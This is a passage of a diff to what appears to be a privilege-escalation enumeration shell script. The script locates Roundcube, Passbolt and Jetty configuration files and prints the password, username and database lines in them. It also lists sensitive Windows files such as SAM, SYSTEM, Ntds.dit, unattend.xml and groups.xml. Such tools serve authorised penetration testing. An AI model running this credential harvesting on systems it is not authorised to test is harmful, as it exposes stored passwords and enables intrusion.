"roundcube$" | while read f; do ls -ld "$f" | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E "roundcube$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_PASSBOLT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Passbolt Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_JETTY" ] || [ "$DEBUG" ]; then print_2title "Analyzing Jetty Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi @@ -3408,79 +4115,93 @@ fi if [ "$PSTORAGE_INTERESTING_LOGS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Interesting logs Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,access\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,error\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,error\.log$,${SED_RED},"; done; echo ""; fi -if [ "$PSTORAGE_WINDOWS_FILES" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Windows Files Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "\.rdg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SAM$" | while read f; do ls -ld "$f" | sed -${E} "s,SAM$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "default\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "index\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "security\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "server\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software$" | while read f; do ls -ld "$f" | sed -${E} "s,software$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "system\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; +if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Windows Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "\.rdg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SAM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SAM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "default\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" 